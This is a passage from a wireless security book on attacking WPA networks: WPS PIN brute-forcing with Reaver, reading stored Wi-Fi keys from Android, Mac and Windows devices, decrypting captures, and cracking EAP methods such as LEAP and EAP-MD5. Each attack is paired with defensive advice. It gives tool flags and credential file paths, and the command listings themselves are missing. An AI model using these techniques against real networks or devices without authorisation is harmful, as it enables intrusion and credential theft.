Wi-Fi	Protected	Setup	(WPS)	that	would	simplify	the	configuration	of	home	networks.
The	general	goal	was	that	nontechnical	end-users	wouldn’t	then	be	responsible	for
remembering	(and	potentially	never	even	having	to	generate)	a	secure	WPA	passphrase.	A
handful	of	mechanisms	were	designed	to	implement	this,	but	the	one	that	has	seen	the
most	commercial	success	was	the	use	of	an	eight-digit	PIN	printed	on	the	outside	of	the
router.	Devices	that	authenticate	themselves	with	this	PIN	(or	technically	any	of	the	other
less	prevalent	WPS	techniques)	would	then	be	sent	the	credentials	needed	to	connect	to
the	network.	The	overall	concept	is	that	home	users	type	in	a	fairly	simple	eight-digit
number,	and	the	router	then	provisions	them	with	a	difficult-to-remember	and,	therefore,
secure	from	dictionary	attacks,	PSK.	Clients	then	store	the	PSK	and	use	it	to	connect	like
any	other	client	from	that	point	forward.	The	following	illustration	shows	what	Windows
8	displays	when	prompting	for	PIN-based	authentication	credentials.



For	the	sake	of	simplicity,	assume	it	takes	one	second	to	go	through	the	authentication
process	with	a	single	PIN	and	also	that	the	AP	doesn’t	care	if	you	incorrectly	enter	100
million	(108)	PIN	values	in	a	row.	At	that	rate,	it	would	take	approximately	578	days	(or	a
year	and	a	half)	to	try	half	of	all	the	possible	PINs.

Unfortunately,	although	the	PIN	appears	to	be	a	random	eight-digit	number,	the	last
digit	is	a	checksum,	which	means	that	instead	of	the	578	days	needed	to	brute-force	the
PIN,	it	now	takes	57.8	days.	Not	ideal,	but	still	probably	unfeasible.

A	secondary	deficiency	that	makes	it	possible	to	brute-force	the	WPS	PIN	is	that	the
protocol	treats	it	as	two	separate	numbers,	as	shown	here.

When	authenticating	to	WPS,	the	first	half	of	the	PIN	is	transmitted	in	one	packet.	If
this	doesn’t	match,	the	AP	sends	a	negative	acknowledgement	to	the	client.
Consequentially,	instead	of	trying	to	brute-force	107	possible	PINs,	the	attacker	is
essentially	trying	to	brute-force	two	independent	PINs:	one	with	104	possibilities	and	the
other	with	103.	The	attacker	only	needs	to	make	11,000	unique	authentication	attempts
before	he	has	exhausted	the	PIN	keyspace.

Although	we	started	with	an	assumption	that	it	only	takes	one	second	for	each	PIN
guess,	in	practice	it	takes	several	due	to	the	overhead	of	the	remaining	protocol	in	the
exchange.	If	a	router	is	vulnerable	to	a	WPS	PIN	guessing	attack,	it	can	take	anywhere
between	2	and	14	hours	to	complete	the	attack	(which	is	mostly	dictated	by	how	fast	the
AP	responds	to	the	PIN	guess	requests).	The	patch	that	vendors	have	been	pushing	out	to
address	this	issue	simply	adds	a	significant	amount	of	throttling	between	PIN	guess
failures	to	increase	the	amount	of	time	to	complete	the	attack.

Interestingly,	although	WPS	was	first	met	with	widespread	deployment	in	2007–2008,
the	WPS	PIN	guessing	vulnerability	wasn’t	publicly	disclosed	until	2011.	Both	Craig
Heffner	(of	Tactical	Network	Solutions,	TNS)	and	Stefan	Viehböck	discovered	the
vulnerability	independently.	Once	Viehböck	released	his	whitepaper,	Heffner	and	TNS
responded	by	open	sourcing	their	tool	Reaver,	which	implements	the	attack.



Finding	APs	Vulnerable	to	Reaver	The	easiest	way	to	determine	what	APs	in	the	area
are	(potentially)	vulnerable	to	this	type	of	attack	is	to	use	a	tool	bundled	with	Reaver.
Wash	performs	a	passive	survey	of	APs	in	the	area	and	displays	the	current	state	of	WPS.
For	a	network	to	be	vulnerable,	WPS	must	be	both	enabled	and	not	locked.	First,
download	and	install	Reaver	from	https://code.google.com/p/reaver-wps.	An	example	of
the	Wash	tool	at	work	is	shown	here:

Once	we	have	a	BSSID	and	a	channel,	we	start	Reaver	and	wait	for	the	attack	to
complete:

Eventually	Reaver	will	hit	gold.	How	long	this	takes	depends	on	whether	the	AP
implements	any	kind	of	throttling,	as	well	as	on	how	fast	its	CPU	is.

https://code.google.com/p/reaver-wps


	

If	Reaver	doesn’t	appear	to	be	getting	past	the	first	PIN	it	tries	(12345670),	after	a	minute
or	two,	restart	it	and	try	running	it	with	the	-N	and	-S	flags.	These	flags	will,	respectively,
disable	negative	acknowledgements	back	to	the	AP	and	intentionally	choose	small	Diffie-
Hellman	values	used	to	protect	the	delivery	of	the	PSK	to	minimize	the	load	on	the	AP.

	Securing	Against	WPS	PIN	Brute-Force
Although	many	vendors	have	deployed	patches	to	make	brute-forcing	WPS	PINs
infeasible	by	adding	delays,	your	best	defense	is	simply	to	disable	WPS	support.	This	has
the	added	benefit	of	decreasing	the	attack	surface	that	your	router	presents	to
unauthenticated	users.

Recovering	WPA	Keys	from	Clients

So	far	our	focus	on	retrieving	the	WPA	passphrase	has	focused	on	attacking	the
network	or	a	device	currently	attached	to	it.	But	what	about	all	the	end-user	devices	that
have	the	WPA	key	stored	on	them	already?	For	example,	maybe	you	just	popped	a	laptop
that	is	plugged	in	to	the	corporate	wired	network,	but	you	haven’t	yet	figured	out	the
target’s	Wi-Fi	keys.	In	cases	like	these,	gaining	access	to	the	WPA	key	is	a	function	of
access	control	on	the	device.	As	you	will	see	shortly,	the	barrier	to	entry	varies	wildly
from	one	platform	to	another.

Recovering	the	Most	Recent	Network	from	an	Android	Device	Assuming	you	end	up
with	user-level	(root	currently	not	required)	access	to	an	Android	device,	you	can	recover
the	most	recently	used	network	and	its	key	simply	by	changing	to	the	/data/misc/wifi
directory	and	looking	at	the	contents	of	the	wpa_supplicant.conf	file.	Simply	search	the
configuration	file	for	a	line	beginning	with	psk=	to	reveal	the	plaintext	PSK	for	the
network.

Recovering	WPA	Keys	on	Mac	OS	X	WPA	keys	(as	well	as	just	about	every	other	sort	of
password)	that	are	saved	on	a	Mac	are	stored	in	the	keychain.	Users	can	(legitimately)



view	this	data	with	the	Keychain	Access	utility.	Attackers	with	user-level	access	can	grab
a	copy	of	the	keychain	data	at	~/Library/keychains/login.keychain.	Although	there	is	a
significant	amount	of	information	in	plaintext	in	this	file	(account	names,	domains,	and	so
on),	the	actual	credentials	are	encrypted.	Attackers	wanting	these	encrypted	credentials
will	need	the	user’s	password.	One	option	for	decrypting	the	keychain	entries	and
recovering	the	password	is	to	brute-force	the	user	login	password	using	crowbarKC
(http://www.iboostup.com/app/com.georgestarcher.crowbarkc).

Recovering	WPA	Keys	on	Windows	Readers	interested	in	recovering	keys	from
Windows	boxes	can	use	WirelessKeyView	from	NirSoft
(http://www.nirsoft.net/utils/wireless_key.html).	The	following	is	an	example	of	the
decrypted	keys	revealed	by	WirelessKeyView.

	Defeating	Authorized	Client	Key	Recovery	Attacks
Limiting	access	to	the	WPA-PSK	keys	is	equivalent	to	preventing	access	to	the	clients
themselves.	Given	the	proliferation	of	mobile	devices	accessing	enterprise	networks,	the
biggest	step	you	can	take	is	to	ensure	that	mobile	devices	can	be	remotely	managed	and,	in
the	event	they	are	stolen	or	lost,	wiped.

Alternatively,	organizations	should	avoid	WPA-PSK	authentication	altogether,
leveraging	WPA	Enterprise	authentication	with	an	EAP	method.	In	WPA	Enterprise
authentication,	there	is	no	PSK,	and	each	client	on	the	network	has	a	unique	PMK	with	a
short	effective	lifetime.

Decrypting	WPA-PSK	Captures

http://www.iboostup.com/app/com.georgestarcher.crowbarkc
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So	far	we’ve	looked	at	techniques	to	brute-force	the	WPA-PSK,	abscond	credentials
via	Reaver,	and	steal	the	passphrase	from	an	otherwise	compromised	device.	At	any	rate,
we	have	the	passphrase.	With	the	passphrase,	we	can	also	decrypt	the	network’s	traffic.

As	straightforward	as	this	might	sound,	there	is	a	problem:	every	user	has	a	unique
pairwise	transient	key	(PTK)	that	is	generated	when	she	associates	with	the	network.	Even
though	we	have	the	passphrase	or	the	PMK,	we	don’t	know	the	PTK	unless	we	also
capture	the	handshake	for	her	session.	If	we	have	the	PMK	and	want	to	sniff	another
user’s	connection,	we	first	have	to	force	the	client	to	disconnect	(e.g.,	using	a
deauthenticate	attack)	and	then	capture	the	handshake	needed	to	derive	the	PTK.

	

Any	tool	that	can	decrypt	WPA	traffic	needs	not	only	the	passphrase,	but	also	the
handshake	that	was	used	to	create	that	user’s	individual	session	key	(or	PTK).

Using	Wireshark	to	Decrypt	Traffic	Wireshark	provides	built-in	traffic	decryption
functionality	for	WPA-	and	WEP-encrypted	packets.	Wireshark	uses	a	list	of	PMK	or
passphrase	values	in	decrypting	WPA	packets	automatically,	as	long	as	it	finds	the
handshake	in	the	capture.	To	specify	a	key	within	Wireshark,	click	Edit	|	Preferences,
select	IEEE	802.11	from	the	Protocol	list	on	the	left,	check	Enable	Decryption,	and	then
click	the	Edit	button	next	to	Decryption	Keys.

Keys	can	be	specified	as	a	passphrase	(indicated	via	wpa-pwd,	as	shown	in	the
illustration)	or	as	a	PMK	(indicated	by	wpa-psk	in	the	illustration).	WEP	keys	can	also	be
applied.	When	a	packet	is	successfully	decrypted,	Wireshark	will	interpret	the	decrypted
contents	and	show	both	the	encrypted	and	decrypted	data.



With	airdecap-ng	A	second	option	for	decrypting	WPA-PSK	packet	captures	is	airdecap-
ng,	another	tool	included	within	the	Aircrack-ng	suite.	Like	Wireshark,	airdecap-ng	lets	us
decrypt	WPA-	and	WEP-encrypted	packets	using	either	the	passphrase	or	the	PMK.
Assuming	we	want	to	decrypt	the	same	pcap	file	used	in	the	previous	example,	we	would
issue	the	following	command:

If	zero	packets	are	decrypted,	either	the	passphrase	is	wrong,	the	SSID	is	wrong,	or	the
handshake	is	missing	from	the	pcap	file.	Lacking	the	handshake	is	the	most	common
reason	for	failure.	Once	airdecap-ng	has	finished	decrypting	packets,	a	file	named
allyourbase-01-dec.cap	is	created	in	the	current	directory.	If	you	have	recovered	the	PMK
but	not	the	passphrase,	you	can	specify	the	PMK	directly	with	the	-k	argument.



	Securing	WPA-PSK
The	most	effective	way	to	prevent	WPA-PSK	attacks	is	to	choose	a	complex	passphrase.
Needless	to	say,	dictionary	words	are	not	a	smart	choice.	Also,	most	operating	systems
don’t	force	you	type	the	password	every	time	you	connect,	so	don’t	feel	too	bad	about
making	users	remember	long	random	strings.	They	only	have	to	remember	it	for	as	long	as
it	takes	to	type	it	once.	As	always,	it	never	hurts	to	change	your	passphrase	regularly
either.

Another	good	deterrent	is	to	choose	a	unique	SSID.	If	your	SSID	is	linksys,	someone
has	most	likely	already	computed	a	hash	table	for	your	SSID.	Stay	away	from	default
SSIDs,	or	consider	appending	a	random	set	of	numbers	to	the	end	(e.g.,	“Unique-01923”).

So	far	in	this	chapter,	our	focus	has	been	on	attacking	WPA-PSK,	or	WPA	Personal,
authentication	systems.	Next	we’ll	look	at	exploiting	the	more	mature	and	sophisticated
authentication	alternative:	WPA	Enterprise.

Breaking	Authentication:	WPA	Enterprise
Most	major	organizations	leverage	WPA	Enterprise	for	their	deployments.	It	provides
fine-grained	control	over	authentication,	which	translates	into	better	overall	security.	WPA
Enterprise	supports	a	variety	of	authentication	schemes	with	the	use	of	EAP.	Some	of
these	schemes	are	considered	more	secure	than	others.

	

If	you	are	unfamiliar	with	the	details	of	how	RADIUS,	IEEE	802.1X,	and	EAP	interact,
Chapter	1	provides	a	brief	introduction.	For	a	detailed	analysis	of	these	protocols,	check
out	the	bonus	IEEE	802.11	background	chapter	available	on	the	companion	website	at
http://www.hackingexposedwireless.com.

Obtaining	the	EAP	Handshake
Just	as	the	four-way	handshake	was	important	for	attacking	WPA-PSK,	the	EAP
handshake	is	important	for	attacking	WPA	Enterprise.	The	EAP	handshake	is	the
communication	leading	up	to	the	four-way	handshake.	It	tells	us	what	EAP	type	is	being
used	and,	depending	on	the	configuration,	can	give	us	more	information	to	launch	an
attack.	To	capture	the	EAP	handshake,	we	can	use	one	of	the	active	or	passive	methods
described	earlier	in	“Breaking	Authentication:	WPA-PSK.”

EAP	Response	Identity

http://www.hackingexposedwireless.com


The	EAP	Response	Identity	message	containing	the	client’s	username	is	the	first	message
the	client	sends	to	the	authentication	server	during	the	EAP	handshake.	Depending	on	the
authentication	server,	the	username	may	or	may	not	be	used	during	the	actual
authentication	process.	One	important	trait	of	the	EAP	Response	Identity	message	is	that	it
is	sent	in	the	clear;	if	you	can	capture	the	EAP	handshake,	you	can	potentially	get	the
username	of	the	connecting	client.	If	this	authentication	is	integrated	with	Windows,	you
may	also	see	the	domain	the	user	is	associated	with.

Identifying	the	EAP	Type
The	EAP	type	can	be	identified	by	inspecting	the	EAP	handshake.	EAP	types	are	defined
within	the	message	and	are	usually	automatically	translated	by	whichever	packet
inspection	tool	you	use	(e.g.,	Wireshark).	Clients	can	be	configured	to	support	multiple
EAP	types,	so	inspecting	the	entire	client	handshake	is	important.	For	instance,	you	may
notice	that	a	client	first	attempts	to	connect	with	EAP/TLS	but	then	tries	PEAP	right	after.
This	matters	because	certain	EAP	types	are	easier	to	attack	than	others.	Once	you’ve
identified	the	EAP	type	used,	you	can	explore	the	available	attack	vectors,	which	will
hopefully	yield	access	to	the	network.



EAP-MD5
EAP-MD5	is	a	relatively	simple	EAP	method,	which,	as	its	name	implies,	relies	on	MD5
hashing	for	client	authentication.	Figure	4-2	shows	the	entire	authentication	process.

Figure	4-2	EAP-MD5	Handshake

The	client	first	supplies	its	username	within	the	EAP	Response	Identity	message.	Next,
the	server	sends	the	client	an	identifier	and	a	16-byte	challenge.	The	client	then	takes	its
password,	the	identifier,	and	challenge;	concatenates	them	all	together;	and	hashes	the
string	using	MD5.	The	client	sends	the	hashed	string	to	the	server,	which	then	computes
the	same	string	and	compares	it	to	the	one	received	by	the	client.	If	they	match,	then	the
user	is	successfully	authenticated.	EAP-MD5	is	a	simple	method,	but	it	has	a	number	of



problems,	especially	over	wireless.

Attacking	EAP-MD5

Let’s	start	this	section	by	saying	that	RFC	4017	defines	certain	requirements	that	EAP
methods	must	meet	in	order	to	operate	over	wireless	networks	securely,	and	EAP-MD5
violates	a	number	of	these	requirements.	When	EAP-MD5	was	developed,	it	wasn’t	meant
to	be	used	over	wireless	networks.	EAP-MD5	is	not	found	very	often,	but	when	it	is,
you’re	in	luck.	The	client-server	communication	occurs	in	plaintext	over	the	wireless
network,	so	if	you	observe	a	valid	client	handshake,	you	can	launch	an	offline	brute-force
attack	against	it.	Joshua	Wright	created	the	eapmd5pass
(http://www.willhackforsushi.com/?page_id=67)	tool	to	demonstrate	this.

Using	eapmd5pass	is	straightforward:	we	specify	a	capture	file	containing	the	MD5
challenge	and	response	(-r	PrettyLilPwnies.cap),	a	dictionary	file	(-w	wordlist.txt),
and	then	press	ENTER.	If	the	wordlist	contains	the	password	for	the	target	account,
eapmd5pass	will	reveal	the	user	password,	which	we	can	then	use	to	connect	to	the
network	as	a	valid	user.

	Securing	EAP-MD5
Unfortunately,	EAP-MD5	operates	in	a	way	that	makes	it	impossible	to	implement
securely	over	a	wireless	network.	Besides	the	fact	that	EAP-MD5	sends	the	challenge	and
response	in	the	clear,	EAP-MD5	does	not	provide	mutual	authentication,	so	ensuring
protection	against	man-in-the-middle	and	AP	impersonation	attacks	is	impossible.	In	some
setups,	you	may	see	the	same	challenge-response	mechanism	used	in	conjunction	with	a
tunneling	protocol	such	as	EAP-TTLS,	which	can	be	thought	of	as	a	secure	alternative.
However,	if	you	are	using	EAP-MD5	alone,	it	is	recommended	that	you	use	another,	more
secure	EAP	type.

EAP-GTC
EAP-GTC	(Generic	Token	Card)	is	the	authentication	method	used	when	clients	have

http://www.willhackforsushi.com/?page_id=67


some	sort	of	dynamically	generated	one-time	password.	The	most	common	instance	is	the
RSA	branded	SecurID,	although	many	other	hardware	vendors	exist.

Conceptually,	EAP-GTC	is	even	simpler	than	EAP-MD5.	In	the	case	of	EAP-GTC,
the	user’s	hardware	token	and	the	authentication	server	both	know	a	short-lived	shared
secret	(the	number	currently	displayed	on	the	token).	The	user	proves	possession	of	the
token	by	sending	the	value	to	the	authentication	server.	Assuming	it	matches,	the	server
authenticates	the	user	and	sends	an	EAP-Success	message	to	the	authenticator.

Attacking	EAP-GTC

Also	similar	to	EAP-MD5,	EAP-GTC	on	its	own	does	not	meet	the	requirements	for
providing	authentication	to	an	802.11	network	(for	starters,	no	mutual	authentication).
Instead,	the	hardware	tokens	are	used	as	a	secondary	form	of	authentication	(with	a
username	and	password	or	cryptographic	certificate	generally	being	the	first).

Conceptually,	attacking	EAP-GTC	is	simple:	obtain	the	value	currently	being
displayed	on	the	user’s	token,	and	submit	it	to	the	server	before	it	expires.	In	the	analog
world,	you	can	accomplish	this	by	shoulder-surfing	a	user’s	token	or	physically	stealing	it.
In	the	digital	realm,	you	can	accomplish	this	much	more	discretely:	create	a	rogue	AP,
attract	a	user	who	has	a	token,	and	convince	him	to	type	in	the	current	value.	Then,	as
quickly	as	possible,	go	forth	and	use	the	value	yourself	to	authenticate	to	the	real	network.

In	practice,	within	the	realm	of	Wi-Fi	networks,	EAP-GTC	is	always	used	as	an	inner
authentication	method	for	EAP-TTLS	or	PEAP	(more	on	these	shortly);	otherwise,	a	user
would	be	transmitting	his	token	value	in	the	clear.

	Securing	EAP-GTC
If	you	are	using	EAP-GTC	in	a	wireless	context,	you	are	already	deploying	it	as	a
secondary	form	of	authentication	within	a	PEAP	or	EAP-TTLS	tunnel.	The	most
important	thing	you	can	do	is	ensure	that	client	devices	are	configured	to	verify	the
server’s	certificate	when	the	tunnel	is	being	established	and	abort	connecting	if	it	fails.
PEAP	and	EAP-TTLS	are	discussed	in	detail	shortly.

LEAP
LEAP	(Lightweight	EAP)	is	one	of	Cisco’s	proprietary	EAP	types	and	is	based	on	the	MS-
CHAPv2	challenge-response	protocol.	A	client	connects	to	the	network,	sending	its
username,	and	the	authentication	server	returns	an	eight-byte	challenge.	The	client	then



computes	the	NT	hash	of	the	password	and	uses	that	as	seed	material	to	encrypt	the
challenge	using	DES.	The	results	are	concatenated	and	returned	to	the	server.	The	server
does	the	same	computation	and	verifies	the	results.

On	the	surface,	LEAP	seems	like	a	decent	protocol.	However,	its	major	downfall	is
that	the	challenge	and	response	are	transmitted	in	the	clear.	If	we	can	observe	a	user
authenticating,	we	can	launch	an	offline	brute-force	attack	to	deduce	the	user’s	password.

Attacking	LEAP	with	Asleap

LEAP’s	vulnerabilities	were	first	identified	and	demonstrated	by	Joshua	Wright	with
his	cleverly	named	tool:	Asleap	(http://www.willhackforsushi.com/?page_id=41).	Asleap
requires	the	EAP	handshake,	which	can	be	obtained	using	Asleap	itself	or	any	sniffer.
Regardless	of	which	route	we	take,	the	first	thing	we	need	to	do	is	create	a	hashed
dictionary	file.	This	file	can	be	used	to	recover	passwords	from	any	LEAP-protected
network.	The	following	creates	a	hashed	dictionary	file:

This	command	outputs	two	files:	an	index	file	(.idx)	and	the	hashed	dictionary	file
(dict.hashed).	This	precomputed	hash	dictionary	is	not	specific	to	any	network	and	thus
can	be	generated	just	one	time	(assuming	the	user’s	password	is	within	your	wordlist).
Once	the	hash	dictionary	is	complete,	you	can	launch	the	actual	offline	brute-force	attack.
In	the	following	example,	a	pcap	file	is	provided	in	which	the	LEAP	authentication	is
captured	and	the	password	is	qaleap:

http://www.willhackforsushi.com/?page_id=41


	Securing	LEAP
If,	for	some	reason,	you	are	forced	to	use	LEAP	and	can’t	upgrade,	the	only	thing	you	can
do	is	try	to	enforce	a	strict	password	policy.	If	you	can	switch	to	something	else,	do	it.
PEAP	is	a	reasonable	replacement	for	LEAP,	and	you	can	still	employ	usernames	and
passwords	for	authentication.	Finally,	Cisco	recommends	migrating	to	its	LEAP
replacement,	EAP-FAST.

EAP-FAST
EAP-FAST	is	an	EAP	method	developed	by	Cisco	Systems.	It	is	similar	to	PEAP	and
EAP-TTLS	(discussed	later	in	this	section),	as	it	first	establishes	a	secure	tunnel	between
the	client	and	the	authentication	server	and	then	passes	the	user	credentials	through	that
tunnel.	In	EAP-FAST,	the	secure	tunnel	creation	is	referred	to	as	Phase	1,	and	the	client
transmitting	its	credentials	through	that	tunnel	is	referred	to	as	Phase	2.

One	of	the	defining	features	of	EAP-FAST	is	its	protected	access	credential	(PAC).
The	PAC	is	a	file	stored	on	the	client	system	that	contains	a	shared	secret	(PAC-Key),	an
opaque	element	(PAC-Opaque),	and	other	information	(PAC-Info),	including	the	authority
identity	(A-ID)	of	the	authentication	server.	With	the	PAC	distributed	to	clients,	the	full
TLS	handshake	doesn’t	need	to	be	used	to	set	up	the	TLS	tunnel.	Instead,	Phase	1	is
accomplished	through	a	process	based	on	RFC	4507,	which	defines	stateless	TLS	session
resumption.

Upon	connection,	the	authentication	server	sends	the	client	an	A-ID,	and	the	client
checks	its	local	system	for	a	PAC	associated	with	that	A-ID.	If	it	has	a	valid	PAC,	the
client	sends	its	corresponding	PAC-Opaque.	The	PAC-Opaque	was	originally	generated	at
the	authentication	server	during	provisioning	and	acts	as	a	session	identifier	(i.e.,	ticket)	to
authenticate	the	client	to	the	authentication	server.	As	long	as	the	authentication	server	can
correctly	validate	the	PAC-Opaque,	the	PAC-Key	is	used	to	derive	the	TLS	master	secret,
and	the	abbreviated	TLS	handshake	(i.e.,	Phase	1)	has	been	completed.

Although	EAP-FAST	can	support	a	variety	of	Phase	2	protocols,	MS-CHAPv2	and
GTC	are	most	commonly	used.	Just	as	with	PEAP	and	EAP-TTLS,	the	TLS	tunnel



(established	in	Phase	1)	protects	these	credentials	from	attack.

The	process	of	distributing	a	PAC	to	a	user	is	referred	to	as	PAC	provisioning	or	Phase
0.	Even	in	small	deployments,	provisioning	can	be	a	daunting	task.	To	add	even	more
administrative	overhead,	Phase	0	is	required	not	only	on	initial	setup,	but	also	on	renewal,
which	is	commonly	configured	to	be	once	a	year.	Provisioning	can	be	conducted	via
sneakernet,	the	client’s	wired	interface,	or	automatically.	The	first	two	options	really	don’t
provide	any	advantage	over	traditional	certificate-based	EAP	methods;	the	third,	however,
is	really	where	EAP-FAST	earns	its	popularity	with	system	administrators.	Automatic
PAC	provisioning	allows	a	wireless	user	to	receive	its	PAC	over	the	air,	requiring	the	user
only	to	enter	her	credentials.	Although	automatic	PAC	provisioning	is	a	convenient	feature
for	network	administrators,	it	is	also	EAP-FAST’s	primary	downfall.

Attacking	EAP-FAST

Automatic	PAC	provisioning	can	occur	in	two	forms:	Server-Authenticated	and
Server-Unauthenticated.	Server-Authenticated	provisioning	is	less	appealing,	as	the	client
still	needs	to	have	the	server	certificate	in	order	to	establish	Phase	1,	which	somewhat
negates	the	purpose	of	automatic	provisioning.	Server-Unauthenticated	provisioning	is
much	more	popular.	It	implements	Phase	1	using	an	anonymous	Diffie-Hellman	tunnel
and	then	continues	Phase	2	with	MS-CHAPv2	credentials	(more	specifically	known	as
EAP-FAST-MSCHAPv2).	As	its	name	implies,	the	anonymous	tunnel	provided	in	Server-
Unauthenticated	provisioning	does	not	give	the	user	the	ability	to	authenticate	the	server.
Thus,	this	EAP-FAST	deployment	method	is	subject	to	a	man-in-the-middle/AP
impersonation	attack,	similar	to	PEAP	and	EAP-TTLS.	With	access	to	the	MS-CHAPv2
credentials,	you	have	the	ability	to	launch	a	brute-force	attack,	which,	if	successful,	allows
you	to	engage	in	the	provisioning	process	and	obtain	a	valid	network	PAC.

The	primary	caveat	to	this	attack	is	that	in	order	to	launch	it	successfully,	you	must	be
present	at	the	time	of	PAC	provisioning.	Being	present	can	sometimes	be	difficult,	as
clients	are	usually	provisioned	in	bulk	at	initial	deployment	and	then	occasionally	as	new
clients	join.	PAC	renewal	provides	another	opportunity	for	attack	but	is	subject	to	the
same	limitations.

	Securing	EAP-FAST
Securing	EAP-FAST	is	as	simple	as	disabling	Server-Unauthenticated	automatic	PAC
provisioning.	It	should	be	noted,	though,	that	once	Server-Unauthenticated	automatic	PAC
provisioning	is	no	longer	available,	EAP-FAST	offers	little	benefit	over	other	certificate-
based	EAP	methods.	If	this	type	of	provisioning	must	be	used,	it	should	be	provided	in	a



controlled	area	for	a	limited	amount	of	time	to	reduce	risk.

EAP-TLS
EAP-TLS	was	the	first	EAP	method	required	for	WPA	compatibility.	EAP-TLS	is
considered	very	secure,	mostly	because	it	uses	client	and	server	certificates	to	authenticate
the	users	on	a	network.	This,	however,	is	also	its	major	downfall;	managing	certificates	for
all	the	users	in	an	organization	of	any	size	can	be	a	daunting	challenge.	Most	organizations
simply	don’t	have	the	level	of	PKI	required.

Conceptually,	EAP-TLS	is	simple.	The	server	sends	the	client	its	certificate,	which	is
verified,	and	the	public	key	included	is	used	to	encrypt	further	messages.	The	client	then
sends	the	authentication	server	its	certificate,	which	the	server	verifies.	The	client	and
server	then	proceed	to	generate	a	random	key.	In	other	cases	(such	as	SSL),	this	key	is
used	to	initialize	a	symmetric	cipher	suite	to	encrypt	the	data	from	the	TLS	session.	In
EAP-TLS,	however,	you	aren’t	interested	in	using	TLS	to	encrypt	the	data;	that’s
AES/CCMP’s	or	TKIP’s	job.	Instead,	you	use	the	random	key	generated	by	TLS	to	create
the	PMK.	Along	with	the	EAP-Success	message,	the	PMK	is	then	transmitted	from	the
RADIUS	server	to	the	AP.

Attacking	EAP-TLS

Attacking	the	EAP-TLS	protocol	head	on	is	next	to	impossible.	If	EAP-TLS	was
suddenly	vulnerable	to	some	sort	of	cryptographic	attack,	it	would	probably	mean	that
TLS	had	been	broken,	and	you	would	have	bigger	problems	than	worrying	about	your
wireless	network	being	attacked.	That’s	not	to	say	that	vendor	X’s	EAP-TLS	won’t	have	a
flaw	(though	you	would	certainly	hope	not),	just	that	the	protocol	is	very	robust.	The	only
practical	way	to	defeat	EAP-TLS	is	to	steal	a	client’s	private	key.

Stealing	a	client’s	key	can	be	very	hard—or	not	that	hard	at	all.	If	the	key	is	stored
inside	a	smartcard	protected	by	a	PIN,	you	have	quite	a	lot	of	work	ahead	of	you.	If	the
key	is	stored	on	the	hard	drive	of	a	minimally	protected	Linux	or	Windows	box	that	you
can	attack	through	some	other	means,	stealing	the	key	is	a	straightforward	attack.

Obtaining	the	key	from	a	compromised	system	within	Linux	is	just	a	matter	of	finding
the	area	where	it	is	stored	and	copying	it.	Windows	can	make	it	a	little	more	difficult	as
the	key	is	usually	stored	within	the	certificate	store.

Once	you	have	stolen	a	key	(and	obtained	the	user’s	certificate,	which	should	be	much
easier	since	it	is	public),	you	configure	your	computer	to	connect	to	the	network	with	the
correct	certificate	and	key.	Once	you	are	in,	if	you	want	to	read	someone	else’s	traffic,	you



will	need	to	ARP-spoof	them	or	perform	another	man-in-the-middle	attack.	You	can’t
simply	decrypt	anyone	else’s	traffic	with	airdecap-ng	because	everyone	has	a	unique
PMK.

	Securing	EAP-TLS
If	you	have	already	implemented	EAP-TLS,	you	clearly	have	quite	a	handle	on	wireless
security.	If	possible,	store	the	client	keys	on	smartcards	or	some	other	tamper-resistant
token.	If	not,	be	sure	to	keep	client	workstations	patched	and	up-to-date	to	prevent	the
clients’	private	keys	from	being	stolen.

One	minor	concern	with	EAP-TLS	is	the	information	contained	in	certificates	and
passed	around	is	freely	available.	Certificates	contain	mildly	sensitive	information,	such	as
employee	names,	key	length,	and	hashing	algorithms.	If	you’re	concerned	about	this,	you
can	run	EAP-TLS	in	an	encrypted	tunnel,	thus	protecting	the	information	just	mentioned.
This	technique	is	called	PEAP-EAP-TLS	and	was	invented	by	Microsoft.

PEAP	and	EAP-TTLS
In	the	previous	examples,	we	have	seen	EAP	methods	that	were	weak	because	an	attacker
who	observed	them	could	perform	an	offline	attack	and	learn	the	credentials	(EAP-MD5,
LEAP).	We	also	learned	about	an	authentication	method	that	used	certificates	so
effectively	that	it	was	nearly	impossible	to	hack	when	deployed	correctly	(EAP-TLS).
Unfortunately,	EAP-TLS	is	difficult	for	organizations	to	implement	due	to	the	overhead
associated	with	maintaining	certificates	for	all	users.	Some	sort	of	middle	ground	that
provides	the	cryptographic	security	of	EAP-TLS	with	the	convenience	associated	with
usernames	and	passwords	is	clearly	desirable.	PEAP	and	EAP-TTLS	provide	this	bridge.

PEAP	(Protected	EAP)	and	EAP-TTLS	(Tunneled	Transport	Layer	Security)	represent
the	largest	modern	installation	base	of	EAP-type	operations	over	Wi-Fi	today.	Although
technically	different	protocols,	they	operate	in	such	a	similar	manner	that	we	cover	them
together.

Both	PEAP	and	EAP-TTLS	provide	mutual	authentication	by	first	establishing	a	TLS
tunnel	between	the	client	and	the	authentication	server,	and	then	passing	credentials
through	that	tunnel	via	a	less	secure,	inner	authentication	protocol.	The	protocols	used
within	this	tunnel	are	considered	less	secure	because	they	were	originally	designed	to
operate	over	networks	where	sniffing	was	less	feasible.	Once	encapsulated	within	the
tunnel,	the	less	secure	authentication	mechanism	is	protected	by	the	tunnel’s	security,
preventing	eavesdropping	attacks.

For	example,	consider	what	would	happen	if	the	weak	LEAP	challenge-response
protocol	mentioned	in	the	previous	section	was	sent	through	an	encrypted	tunnel.	An
attacker	wouldn’t	be	able	to	gather	the	data	needed	to	launch	the	dictionary	attack,	and
LEAP	would	be	a	pretty	safe	authentication	scheme.	In	fact,	many	PEAP	and	EAP-TTLS
deployments	use	an	inner	authentication	protocol	that	is	similar	to	LEAP.

Additionally,	the	TLS	tunnel	provides	not	only	confidentiality	to	the	inner



authentication	credentials,	but	also	the	ability	for	the	client	to	ensure	the	authentication
server’s	identity.	This	completes	the	idea	of	mutual	authentication,	as	the	client	should
validate	the	authentication	server’s	TLS	certificate	via	a	trusted	certificate	authority.

Since	the	outer	TLS	tunnel	provides	the	foundation	for	the	inner	(potentially	weak)
authentication	methods,	the	following	attack	focuses	on	subverting	this	tunnel.

Attacking	PEAP	and	EAP-TTLS

PEAP	and	EAP-TTLS	rely	purely	on	the	TLS	tunnel	to	provide	a	secure	transport	for
user	credentials;	naturally,	we	target	the	tunnel	for	our	attack.	The	problem	is	that	TLS	is,
for	the	most	part,	secure.	Some	attacks	do	exist,	but	they	are	difficult	to	implement	or
require	specific	conditions	to	launch	in	the	real	world	successfully.	So	if	there	isn’t	a
vulnerability	in	TLS	itself,	we’re	forced	to	look	for	a	vulnerability	in	its	implementation.
